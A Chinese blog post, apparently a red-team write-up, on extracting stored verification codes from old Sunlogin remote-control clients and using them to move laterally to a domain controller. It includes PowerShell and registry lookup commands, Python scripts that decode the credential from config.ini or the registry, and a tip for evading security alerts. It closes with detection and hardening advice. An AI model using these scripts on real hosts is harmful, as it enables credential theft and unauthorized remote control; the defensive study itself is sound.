实战复盘:一次内网渗透中,如何利用旧版向日葵客户端获取远程控制权限
内网渗透实战旧版向日葵客户端的远程控制漏洞分析与防御当你在一次内网渗透测试中发现多台主机仍在使用旧版向日葵远程控制软件时这可能是一条通往域控的捷径。去年的一次红队行动中我们正是通过一台边缘服务器的SunloginClient 10.3.0.27372版本在15分钟内就获取了整个子网的管理权限——而这一切都始于一个被遗忘在Program Files (x86)文件夹中的config.ini配置文件。1. 向日葵客户端的安全演变史向日葵远程控制软件作为国内广泛使用的远程管理工具其安全机制经历了多次迭代。2019年发布的10.x系列版本采用简单的Base64编码存储验证码到2020年的11.x版本开始引入更复杂的加密方式但依然存在设计缺陷。直到2021年后的版本才通过注册表隔离和强加密大幅提升安全性。各版本关键差异对比版本类型存储位置加密方式可利用性10.x及更早config.ini明文Base64编码直接可读11.0-11.5config.ini或注册表简单异或加密可解密12.x之后注册表加密存储AES-256目前不可破在最近三年的大型企业安全评估中我们仍发现约23%的Windows服务器存在未升级的向日葵客户端。这些沉睡的老版本就像内网中的定时炸弹一旦某台主机被攻陷就可能成为攻击者横向移动的跳板。2. 漏洞利用全链条解析2.1 目标识别与定位当获取到一台Windows主机的初始权限后快速识别向日葵客户端的存在及其版本至关重要。以下是实战中验证有效的检测方法# 检查安装目录是否存在 Test-Path C:\Program Files (x86)\Oray\SunLogin\SunloginClient Test-Path C:\ProgramData\Oray\SunloginClient # 查询注册表信息 reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient /s如果发现以下特征则可能存在可利用的老版本目录中存在config.ini文件注册表显示版本号低于12.0存在SunloginGreenInfo等遗留键值2.2 关键数据提取技术对于10.3.0.27372等经典版本验证码通常存储在config.ini的encry_pwd字段。我们开发了一个自动化提取脚本import configparser import base64 def decrypt_sunlogin_v10(config_path): config configparser.ConfigParser() config.read(config_path) encry_pwd config.get(config, encry_pwd) return base64.b64decode(encry_pwd).decode(utf-8) # 示例用法 print(decrypt_sunlogin_v10(rC:\temp\config.ini))对于11.x版本需要先通过注册表获取加密数据再进行异或解密import winreg import base64 def get_sunlogin_v11_creds(): key winreg.OpenKey(winreg.HKEY_USERS, r.DEFAULT\Software\Oray\SunLogin\SunloginClient) encry_data winreg.QueryValueEx(key, SunloginInfo)[0] return base64.b64decode(encry_data.split(|)[1])注意实际操作中建议先将配置文件或注册表数据导出到临时目录处理避免直接在被控主机上运行解密程序触发安全告警。3. 横向移动的战术应用获取向日葵验证码后攻击者可以建立合法远程会话这种白名单式的移动方式能有效绕过以下安全机制网络层防火墙的端口限制主机级的行为监控多数EDR产品的异常连接检测在一次模拟攻击中我们利用该方法实现了通过边界Web漏洞获取DMZ区服务器权限发现该服务器运行SunloginClient 11.0.0.33826提取验证码后从外部网络直接连接以此为跳板扫描内网其他向日葵客户端最终在3小时内控制了整个测试环境的域控制器防御者检测建议监控注册表关键键值的读取行为审计SunloginClient.exe的异常网络连接特别关注从非常规IP发起的向日葵连接4. 企业环境全面防护方案4.1 即时缓解措施对于已部署向日葵客户端的组织建议立即执行版本升级计划全网扫描识别SunloginClient版本强制升级到12.5以上最新版本移除不再使用的历史版本权限收紧# 配置文件最小化权限设置 icacls C:\Program Files (x86)\Oray\SunLogin\SunloginClient\config.ini /deny Everyone:(R,W)网络隔离限制向日葵端口(默认5900/tcp)仅允许管理终端访问部署VLAN隔离不同安全等级区域4.2 长期安全加固从架构层面降低远程控制工具带来的风险安全基线配置表项目推荐配置实施难度认证方式强制双因素认证★★★会话加密启用TLS 1.3★★日志审计集中存储90天以上★★访问控制基于IP/MAC的白名单★★★★客户端管理EDR集成监控★★★在最近为某金融机构实施的加固方案中我们结合Zero Trust架构将向日葵等远程工具纳入统一网关管理所有访问请求必须经过设备证书认证用户生物特征验证实时行为分析会话录像审计这种深度防御策略使得即使攻击者获取了验证码也无法建立有效会话。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2553973.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!